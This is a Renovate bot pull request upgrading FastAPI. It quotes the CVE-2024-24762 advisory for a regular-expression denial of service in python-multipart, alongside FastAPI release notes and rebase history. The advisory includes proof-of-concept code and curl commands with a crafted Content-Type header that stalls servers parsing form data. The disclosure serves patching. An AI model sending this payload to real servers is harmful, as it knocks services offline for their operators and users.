Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Update dependency fastapi to <=0.109.1 [SECURITY] - autoclosed #36

Closed
wants to merge 1 commit into from
Closed

Update dependency fastapi to <=0.109.1 [SECURITY] - autoclosed #36

wants to merge 1 commit into from

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Feb 5, 2024 •
edited
Loading

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
fastapi (changelog) <=0.103.1 -> <=0.109.1 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2024-24762

Summary

When using form data, python-multipart uses a Regular Expression to parse the HTTP Content-Type header, including options.

An attacker could send a custom-made Content-Type option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests.

This can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

This only applies when the app uses form data, parsed with python-multipart.

Details

A regular HTTP Content-Type header could look like:

Content-Type: text/html; charset=utf-8

python-multipart parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74

A custom option could be made and sent to the server to break it with:

Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

PoC

Create a simple WSGI application, that just parses the Content-Type, and run it with python main.py:

# main.py
from wsgiref.simple_server import make_server
from wsgiref.validate import validator

from multipart.multipart import parse_options_header

def simple_app(environ, start_response):
    _, _ = parse_options_header(environ["CONTENT_TYPE"])

    start_response("200 OK", [("Content-type", "text/plain")])
    return [b"Ok"]

httpd = make_server("", 8123, validator(simple_app))
print("Serving on port 8123...")
httpd.serve_forever()

Then send the attacking request with:

$ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8123/'

Impact

It's a ReDoS, (Regular expression Denial of Service), it only applies to those reading form data. This way it also affects other libraries using Starlette, like FastAPI.

Original Report

This was originally reported to FastAPI as an email to security@tiangolo.com, sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r

Original report to FastAPI

Hey Tiangolo!

My name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @​nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON).

Here are the details: I'm using the latest version of FastAPI (0.109.0) and the following code:

from typing import Annotated
from fastapi.responses import HTMLResponse
from fastapi import FastAPI,Form
from pydantic import BaseModel

class Item(BaseModel):
    username: str

app = FastAPI()

@&#8203;app.get("/", response_class=HTMLResponse)
async def index():
    return HTMLResponse("Test", status_code=200)

@&#8203;app.post("/submit/")
async def submit(username: Annotated[str, Form()]):
    return {"username": username}

@&#8203;app.post("/submit_json/")
async def submit_json(item: Item):
    return {"username": item.username}

I'm running the above with uvicorn with the following command:

uvicorn server:app

Then run the following cUrl command:

curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'

You'll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100%

You can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you'll completely DoS the FastApi server.

If you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you'll see it isn't vulnerable. So this only affects FastAPI when it parses Form data.

Cheers

Impact

An attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data.

Occurrences

params.py L586

Release Notes

fastapi/fastapi (fastapi)

v0.109.1

Compare Source

Security fixes
  • ⬆️ Upgrade minimum version of python-multipart to >=0.0.7 to fix a vulnerability when using form data with a ReDos attack. You can also simply upgrade python-multipart.

Read more in the advisory: Content-Type Header ReDoS.

Features
Refactors
  • ✅ Refactor tests for duplicate operation ID generation for compatibility with other tools running the FastAPI test suite. PR #​10876 by @​emmettbutler.
  • ♻️ Simplify string format with f-strings in fastapi/utils.py. PR #​10576 by @​eukub.
  • 🔧 Fix Ruff configuration unintentionally enabling and re-disabling mccabe complexity check. PR #​10893 by @​jiridanek.
  • ✅ Re-enable test in tests/test_tutorial/test_header_params/test_tutorial003.py after fix in Starlette. PR #​10904 by @​ooknimm.
Docs
Translations
Internal

v0.109.0

Compare Source

Features
Upgrades
  • ⬆️ Upgrade Starlette to >=0.29.0,<0.33.0, update docs and usage of templates with new Starlette arguments. Remove pin of AnyIO >=3.7.1,<4.0.0, add support for AnyIO 4.x.x. PR #​10846 by @​tiangolo.
Docs
Translations
Internal

v0.108.0

Compare Source

Upgrades
  • ⬆️ Upgrade Starlette to >=0.29.0,<0.33.0, update docs and usage of templates with new Starlette arguments. PR #​10846 by @​tiangolo.

v0.107.0

Compare Source

Upgrades
Docs

v0.106.0

Compare Source

Breaking Changes

Using resources from dependencies with yield in background tasks is no longer supported.

This change is what supports the new features, read below. 🤓

Dependencies with yield, HTTPException and Background Tasks

Dependencies with yield now can raise HTTPException and other exceptions after yield. 🎉

Read the new docs here: Dependencies with yield and HTTPException.

from fastapi import Depends, FastAPI, HTTPException
from typing_extensions import Annotated

app = FastAPI()

data = {
    "plumbus": {"description": "Freshly pickled plumbus", "owner": "Morty"},
    "portal-gun": {"description": "Gun to create portals", "owner": "Rick"},
}

class OwnerError(Exception):
    pass

def get_username():
    try:
        yield "Rick"
    except OwnerError as e:
        raise HTTPException(status_code=400, detail=f"Onwer error: {e}")

@&#8203;app.get("/items/{item_id}")
def get_item(item_id: str, username: Annotated[str, Depends(get_username)]):
    if item_id not in data:
        raise HTTPException(status_code=404, detail="Item not found")
    item = data[item_id]
    if item["owner"] != username:
        raise OwnerError(username)
    return item

Before FastAPI 0.106.0, raising exceptions after yield was not possible, the exit code in dependencies with yield was executed after the response was sent, so Exception Handlers would have already run.

This was designed this way mainly to allow using the same objects "yielded" by dependencies inside of background tasks, because the exit code would be executed after the background tasks were finished.

Nevertheless, as this would mean waiting for the response to travel through the network while unnecessarily holding a resource in a dependency with yield (for example a database connection), this was changed in FastAPI 0.106.0.

Additionally, a background task is normally an independent set of logic that should be handled separately, with its own resources (e.g. its own database connection).

If you used to rely on this behavior, now you should create the resources for background tasks inside the background task itself, and use internally only data that doesn't depend on the resources of dependencies with yield.

For example, instead of using the same database session, you would create a new database session inside of the background task, and you would obtain the objects from the database using this new session. And then instead of passing the object from the database as a parameter to the background task function, you would pass the ID of that object and then obtain the object again inside the background task function.

The sequence of execution before FastAPI 0.106.0 was like the diagram in the Release Notes for FastAPI 0.106.0.

The new execution flow can be found in the docs: Execution of dependencies with yield.

v0.105.0

Compare Source

Features
  • ✨ Add support for multiple Annotated annotations, e.g. Annotated[str, Field(), Query()]. PR #​10773 by @​tiangolo.
Refactors
Docs
Internal

v0.104.1

Compare Source

Fixes
  • 📌 Pin Swagger UI version to 5.9.0 temporarily to handle a bug crashing it in 5.9.1. PR #​10529 by @​alejandraklachquin.
    • This is not really a bug in FastAPI but in Swagger UI, nevertheless pinning the version will work while a solution is found on the Swagger UI side.
Docs
Internal

v0.104.0

Compare Source

Features

Upgrades

Internal

v0.103.2

Compare Source

Refactors
  • ⬆️ Upgrade compatibility with Pydantic v2.4, new renamed functions and JSON Schema input/output models with default values. PR #​10344 by @​tiangolo.
Translations
  • 🌐 Ad

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot force-pushed the renovate/pypi-fastapi-vulnerability branch from 87c606c to 7ba0394 Compare February 17, 2024 13:39
@renovate renovate bot changed the title Update dependency fastapi to <=0.109.1 [SECURITY] Update dependency fastapi to <=0.109.2 [SECURITY] Feb 17, 2024
@renovate renovate bot force-pushed the renovate/pypi-fastapi-vulnerability branch from 7ba0394 to ddc22b8 Compare February 17, 2024 16:40
@renovate renovate bot changed the title Update dependency fastapi to <=0.109.2 [SECURITY] Update dependency fastapi to <=0.109.1 [SECURITY] Feb 17, 2024
@renovate renovate bot force-pushed the renovate/pypi-fastapi-vulnerability branch from ddc22b8 to 70d0c57 Compare February 25, 2024 06:24
@renovate renovate bot changed the title Update dependency fastapi to <=0.109.1 [SECURITY] Update dependency fastapi to <=0.110.0 [SECURITY] Feb 25, 2024
@renovate renovate bot force-pushed the renovate/pypi-fastapi-vulnerability branch from 70d0c57 to 5d145df Compare February 25, 2024 11:41
@renovate renovate bot changed the title Update dependency fastapi to <=0.110.0 [SECURITY] Update dependency fastapi to <=0.109.1 [SECURITY] Feb 25, 2024
@renovate renovate bot changed the title Update dependency fastapi to <=0.109.1 [SECURITY] Update dependency fastapi to <=0.110.0 [SECURITY] Feb 29, 2024
@renovate renovate bot force-pushed the renovate/pypi-fastapi-vulnerability branch 2 times, most recently from 1059745 to 091e2d0 Compare February 29, 2024 13:07
@renovate renovate bot changed the title Update dependency fastapi to <=0.110.0 [SECURITY] Update dependency fastapi to <=0.109.1 [SECURITY] Feb 29, 2024
@renovate renovate bot force-pushed the renovate/pypi-fastapi-vulnerability branch from 091e2d0 to 3f99e94 Compare March 12, 2024 11:23
@renovate renovate bot changed the title Update dependency fastapi to <=0.109.1 [SECURITY] Update dependency fastapi to <=0.110.0 [SECURITY] Mar 12, 2024
@renovate renovate bot force-pushed the renovate/pypi-fastapi-vulnerability branch from 3f99e94 to b3ff88c Compare March 12, 2024 15:14
@renovate renovate bot changed the title Update dependency fastapi to <=0.110.0 [SECURITY] Update dependency fastapi to <=0.109.1 [SECURITY] Mar 12, 2024
@renovate renovate bot force-pushed the renovate/pypi-fastapi-vulnerability branch from b3ff88c to 91e28ae Compare March 24, 2024 16:20
@renovate renovate bot changed the title Update dependency fastapi to <=0.109.1 [SECURITY] Update dependency fastapi to <=0.110.0 [SECURITY] Mar 24, 2024
@renovate renovate bot force-pushed the renovate/pypi-fastapi-vulnerability branch from 91e28ae to 35609ef Compare March 24, 2024 19:47
@renovate renovate bot changed the title Update dependency fastapi to <=0.110.0 [SECURITY] Update dependency fastapi to <=0.109.1 [SECURITY] Mar 24, 2024
@renovate renovate bot force-pushed the renovate/pypi-fastapi-vulnerability branch from 35609ef to d3f0bf1 Compare April 14, 2024 11:47
@renovate renovate bot changed the title Update dependency fastapi to <=0.109.1 [SECURITY] Update dependency fastapi to <=0.110.1 [SECURITY] Apr 14, 2024
@renovate renovate bot force-pushed the renovate/pypi-fastapi-vulnerability branch from d3f0bf1 to 6a19d5e Compare April 14, 2024 13:28
@renovate renovate bot changed the title Update dependency fastapi to <=0.110.1 [SECURITY] Update dependency fastapi to <=0.109.1 [SECURITY] Apr 14, 2024
@renovate renovate bot force-pushed the renovate/pypi-fastapi-vulnerability branch from 6a19d5e to 99c7b32 Compare May 1, 2024 14:05
@renovate renovate bot changed the title Update dependency fastapi to <=0.109.1 [SECURITY] Update dependency fastapi to <=0.110.3 [SECURITY] May 1, 2024
@renovate renovate bot force-pushed the renovate/pypi-fastapi-vulnerability branch from 99c7b32 to f283045 Compare May 1, 2024 15:02
@renovate renovate bot changed the title Update dependency fastapi to <=0.110.3 [SECURITY] Update dependency fastapi to <=0.109.1 [SECURITY] May 1, 2024
@renovate renovate bot force-pushed the renovate/pypi-fastapi-vulnerability branch from f283045 to 4a99dd1 Compare May 9, 2024 11:05
@renovate renovate bot changed the title Update dependency fastapi to <=0.109.1 [SECURITY] Update dependency fastapi to <=0.111.0 [SECURITY] May 9, 2024
@renovate renovate bot force-pushed the renovate/pypi-fastapi-vulnerability branch from 4a99dd1 to f4d8a4c Compare May 9, 2024 13:34
@renovate renovate bot changed the title Update dependency fastapi to <=0.111.0 [SECURITY] Update dependency fastapi to <=0.109.1 [SECURITY] May 9, 2024
@renovate renovate bot force-pushed the renovate/pypi-fastapi-vulnerability branch from f4d8a4c to f51c989 Compare May 15, 2024 16:41
@renovate renovate bot changed the title Update dependency fastapi to <=0.109.1 [SECURITY] Update dependency fastapi to <=0.111.0 [SECURITY] May 15, 2024
@renovate renovate bot force-pushed the renovate/pypi-fastapi-vulnerability branch from f51c989 to fc30235 Compare May 16, 2024 00:57
@renovate renovate bot changed the title Update dependency fastapi to <=0.111.0 [SECURITY] Update dependency fastapi to <=0.109.1 [SECURITY] May 16, 2024
@renovate renovate bot force-pushed the renovate/pypi-fastapi-vulnerability branch from fc30235 to 40390be Compare June 4, 2024 23:20
@renovate renovate bot changed the title Update dependency fastapi to <=0.109.1 [SECURITY] Update dependency fastapi to <=0.111.0 [SECURITY] Jun 4, 2024
@renovate renovate bot force-pushed the renovate/pypi-fastapi-vulnerability branch from 40390be to 83be1fa Compare June 5, 2024 00:18
@renovate renovate bot changed the title Update dependency fastapi to <=0.111.0 [SECURITY] Update dependency fastapi to <=0.109.1 [SECURITY] Jun 5, 2024
@renovate renovate bot force-pushed the renovate/pypi-fastapi-vulnerability branch from 83be1fa to 80d9742 Compare June 27, 2024 08:00
@renovate renovate bot changed the title Update dependency fastapi to <=0.109.1 [SECURITY] Update dependency fastapi to <=0.111.0 [SECURITY] Jun 27, 2024
@renovate renovate bot force-pushed the renovate/pypi-fastapi-vulnerability branch from 80d9742 to eb6ba1e Compare June 27, 2024 09:29
@renovate renovate bot changed the title Update dependency fastapi to <=0.111.0 [SECURITY] Update dependency fastapi to <=0.109.1 [SECURITY] Jun 27, 2024
@renovate renovate bot force-pushed the renovate/pypi-fastapi-vulnerability branch from eb6ba1e to bd58c50 Compare July 14, 2024 11:04
@renovate renovate bot changed the title Update dependency fastapi to <=0.109.1 [SECURITY] Update dependency fastapi to <=0.111.0 [SECURITY] Jul 14, 2024
@renovate renovate bot force-pushed the renovate/pypi-fastapi-vulnerability branch from bd58c50 to b514179 Compare July 14, 2024 14:13
@renovate renovate bot changed the title Update dependency fastapi to <=0.111.0 [SECURITY] Update dependency fastapi to <=0.109.1 [SECURITY] Jul 14, 2024
@renovate renovate bot force-pushed the renovate/pypi-fastapi-vulnerability branch from b514179 to cbcdee8 Compare July 26, 2024 13:51
@renovate renovate bot changed the title Update dependency fastapi to <=0.109.1 [SECURITY] Update dependency fastapi to <=0.111.1 [SECURITY] Jul 26, 2024
@renovate renovate bot force-pushed the renovate/pypi-fastapi-vulnerability branch from cbcdee8 to fe1ad6b Compare July 26, 2024 15:16
@renovate renovate bot changed the title Update dependency fastapi to <=0.111.1 [SECURITY] Update dependency fastapi to <=0.109.1 [SECURITY] Jul 26, 2024
@renovate renovate bot force-pushed the renovate/pypi-fastapi-vulnerability branch from fe1ad6b to a8fe07a Compare July 28, 2024 15:42
@renovate renovate bot changed the title Update dependency fastapi to <=0.109.1 [SECURITY] Update dependency fastapi to <=0.111.1 [SECURITY] Jul 28, 2024
@renovate renovate bot force-pushed the renovate/pypi-fastapi-vulnerability branch from a8fe07a to db2ddfe Compare July 28, 2024 20:08
@renovate renovate bot changed the title Update dependency fastapi to <=0.111.1 [SECURITY] Update dependency fastapi to <=0.109.1 [SECURITY] Jul 28, 2024
@renovate renovate bot changed the title Update dependency fastapi to <=0.109.1 [SECURITY] Update dependency fastapi to <=0.109.1 [SECURITY] - autoclosed Sep 23, 2024
@renovate renovate bot closed this Sep 23, 2024
@renovate renovate bot deleted the renovate/pypi-fastapi-vulnerability branch September 23, 2024 22:00
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Reviewers
No reviews
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development

Successfully merging this pull request may close these issues.
0 participants